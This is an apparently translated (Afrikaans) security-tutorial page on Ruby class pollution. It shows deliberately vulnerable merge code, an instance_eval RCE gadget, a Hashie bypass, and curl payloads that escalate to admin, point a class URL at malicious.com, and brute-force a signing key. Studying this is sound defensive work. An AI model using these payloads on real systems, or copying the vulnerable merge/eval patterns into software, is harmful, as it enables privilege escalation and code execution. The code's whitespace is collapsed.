# Code from https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html# Comments added to exploit the merge on attributesrequire'json'# Base class for both Admin and Regular usersclassPersonattr_accessor :name, :age, :detailsdefinitialize(name:, age:, details:)@name = name@age = age@details = detailsend# Method to merge additional data into the objectdefmerge_with(additional)recursive_merge(self, additional)end# Authorize based on the `to_s` method resultdefauthorizeif to_s =="Admin"puts"Access granted: #{@name} is an admin."elseputs"Access denied: #{@name} is not an admin."endend# Health check that executes all protected methods using `instance_eval`defhealth_checkprotected_methods().each do|method|instance_eval(method.to_s)endendprivate# VULNERABLE FUNCTION that can be abused to merge attributesdefrecursive_merge(original, additional, current_obj= original)additional.each do|key, value|if value.is_a?(Hash)if current_obj.respond_to?(key)next_obj = current_obj.public_send(key)recursive_merge(original, value, next_obj)elsenew_object =Object.newcurrent_obj.instance_variable_set("@#{key}", new_object)current_obj.singleton_class.attr_accessor keyendelsecurrent_obj.instance_variable_set("@#{key}", value)current_obj.singleton_class.attr_accessor keyendendoriginalendprotecteddefcheck_cpuputs"CPU check passed."enddefcheck_memoryputs"Memory check passed."endend# Admin class inherits from PersonclassAdmin<Persondefinitialize(name:, age:, details:)super(name: name, age: age, details: details)enddefto_s"Admin"endend# Regular user class inherits from PersonclassUser<Persondefinitialize(name:, age:, details:)super(name: name, age: age, details: details)enddefto_s"User"endendclassJSONMergerAppdefself.run(json_input)additional_object =JSON.parse(json_input)# Instantiate a regular useruser =User.new(name: "John Doe",age: 30,details: {"occupation"=>"Engineer","location"=> {"city"=>"Madrid","country"=>"Spain"}})# Perform a recursive merge, which could override methodsuser.merge_with(additional_object)# Authorize the user (privilege escalation vulnerability)# ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'user.authorize# Execute health check (RCE vulnerability)# ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.health_checkendendifARGV.length !=1puts"Usage: ruby class_pollution.rb 'JSON_STRING'"exitendjson_input =ARGV[0]JSONMergerApp.run(json_input)
Verklaring
Privilegie Eskalasie: Die authorize metode kyk of to_s "Admin" teruggee. Deur 'n nuwe to_s attribuut deur JSON in te spuit, kan 'n aanvaller die to_s metode laat teruggee "Admin," wat ongeoorloofde privilegies toeken.
Afstandkode-uitvoering: In health_check, voer instance_eval metodes uit wat in protected_methods gelys is. As 'n aanvaller pasgemaakte metodename (soos "puts 1") inspuit, sal instance_eval dit uitvoer, wat lei tot afstands kode uitvoering (RCE).
Dit is slegs moontlik omdat daar 'n kwulnerbare eval instruksie is wat die stringwaarde van daardie attribuut uitvoer.
Impaksbeperking: Hierdie kwesbaarheid raak slegs individuele instansies, wat ander instansies van User en Admin onaangeraak laat, en beperk dus die omvang van die uitbuiting.
Werklike Gevalle
ActiveSupport se deep_merge
Dit is nie standaard kwesbaar nie, maar kan kwesbaar gemaak word met iets soos:
# Method to merge additional data into the object using ActiveSupport deep_mergedefmerge_with(other_object)merged_hash = to_h.deep_merge(other_object)merged_hash.each do|key, value|self.class.attr_accessor keyinstance_variable_set("@#{key}", value)endselfend
Hashie se deep_merge
Hashie se deep_merge metode werk direk op objekattributen eerder as op gewone hashes. Dit verhoed die vervanging van metodes met attributen in 'n samesmelting met 'n paar uitsonderings: attributen wat eindig met _, !, of ? kan steeds in die objek gesmelt word.
'n Spesiale geval is die attribuut _ op sy eie. Net _ is 'n attribuut wat gewoonlik 'n Mash objek teruggee. En omdat dit deel is van die uitsonderings, is dit moontlik om dit te wysig.
Kyk na die volgende voorbeeld hoe om {"_": "Admin"} te stuur, kan 'n mens _.to_s == "Admin" omseil:
require'json'require'hashie'# Base class for both Admin and Regular usersclassPerson<Hashie::Mash# Method to merge additional data into the object using hashiedefmerge_with(other_object)deep_merge!(other_object)selfend# Authorize based on to_sdefauthorizeif _.to_s =="Admin"puts"Access granted: #{@name} is an admin."elseputs"Access denied: #{@name} is not an admin."endendend# Admin class inherits from PersonclassAdmin<Persondefto_s"Admin"endend# Regular user class inherits from PersonclassUser<Persondefto_s"User"endendclassJSONMergerAppdefself.run(json_input)additional_object =JSON.parse(json_input)# Instantiate a regular useruser =User.new({name: "John Doe",age: 30,details: {"occupation"=>"Engineer","location"=> {"city"=>"Madrid","country"=>"Spain"}}})# Perform a deep merge, which could override methodsuser.merge_with(additional_object)# Authorize the user (privilege escalation vulnerability)# Exploit: If we pass {"_": "Admin"} in the JSON, the user will be treated as an admin.# Example usage: ruby hashie.rb '{"_": "Admin", "name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'user.authorizeendendifARGV.length !=1puts"Usage: ruby hashie.rb 'JSON_STRING'"exitendjson_input =ARGV[0]JSONMergerApp.run(json_input)
Poison the Classes
In die volgende voorbeeld is dit moontlik om die klas Person te vind, en die klasse Admin en Regular wat van die Person klas erf. Dit het ook 'n ander klas genaamd KeySigner:
require'json'require'sinatra/base'require'net/http'# Base class for both Admin and Regular usersclassPerson@@url ="http://default-url.com"attr_accessor :name, :age, :detailsdefinitialize(name:, age:, details:)@name = name@age = age@details = detailsenddefself.url@@urlend# Method to merge additional data into the objectdefmerge_with(additional)recursive_merge(self, additional)endprivate# Recursive merge to modify instance variablesdefrecursive_merge(original, additional, current_obj= original)additional.each do|key, value|if value.is_a?(Hash)if current_obj.respond_to?(key)next_obj = current_obj.public_send(key)recursive_merge(original, value, next_obj)elsenew_object =Object.newcurrent_obj.instance_variable_set("@#{key}", new_object)current_obj.singleton_class.attr_accessor keyendelsecurrent_obj.instance_variable_set("@#{key}", value)current_obj.singleton_class.attr_accessor keyendendoriginalendendclassUser<Persondefinitialize(name:, age:, details:)super(name: name, age: age, details: details)endend# A class created to simulate signing with a key, to be infected with the third gadgetclassKeySigner@@signing_key ="default-signing-key"defself.signing_key@@signing_keyenddefsign(signing_key, data)"#{data}-signed-with-#{signing_key}"endendclassJSONMergerApp<Sinatra::Base# POST /merge - Infects class variables using JSON inputpost '/merge'docontent_type :jsonjson_input =JSON.parse(request.body.read)user =User.new(name: "John Doe",age: 30,details: {"occupation"=>"Engineer","location"=> {"city"=>"Madrid","country"=>"Spain"}})user.merge_with(json_input){ status: 'merged' }.to_jsonend# GET /launch-curl-command - Activates the first gadgetget '/launch-curl-command'docontent_type :json# This gadget makes an HTTP request to the URL stored in the User classifPerson.respond_to?(:url)url =Person.urlresponse =Net::HTTP.get_response(URI(url)){ status: 'HTTP request made', url: url, response_body: response.body }.to_jsonelse{ status: 'Failed to access URL variable' }.to_jsonendend# Curl command to infect User class URL:# curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://example.com"}}}' http://localhost:4567/merge
# GET /sign_with_subclass_key - Signs data using the signing key stored in KeySignerget '/sign_with_subclass_key'docontent_type :json# This gadget signs data using the signing key stored in KeySigner classsigner =KeySigner.newsigned_data = signer.sign(KeySigner.signing_key,"data-to-sign"){ status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_jsonend# Curl command to infect KeySigner signing key (run in a loop until successful):# for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge; done
# GET /check-infected-vars - Check if all variables have been infectedget '/check-infected-vars'docontent_type :json{user_url: Person.url,signing_key: KeySigner.signing_key}.to_jsonendrun! if app_file == $0end
Giftige Ouer Klas
Met hierdie payload:
curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://malicious.com"}}}' http://localhost:4567/merge
Dit is moontlik om die waarde van die @@url attribuut van die ouer klas Person te verander.
Besoedeling van Ander Klasse
Met hierdie payload:
for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done
Dit is moontlik om die gedefinieerde klasse te brute-force en op 'n sekere punt die klas KeySigner te besoedel deur die waarde van signing_key te verander na injected-signing-key.\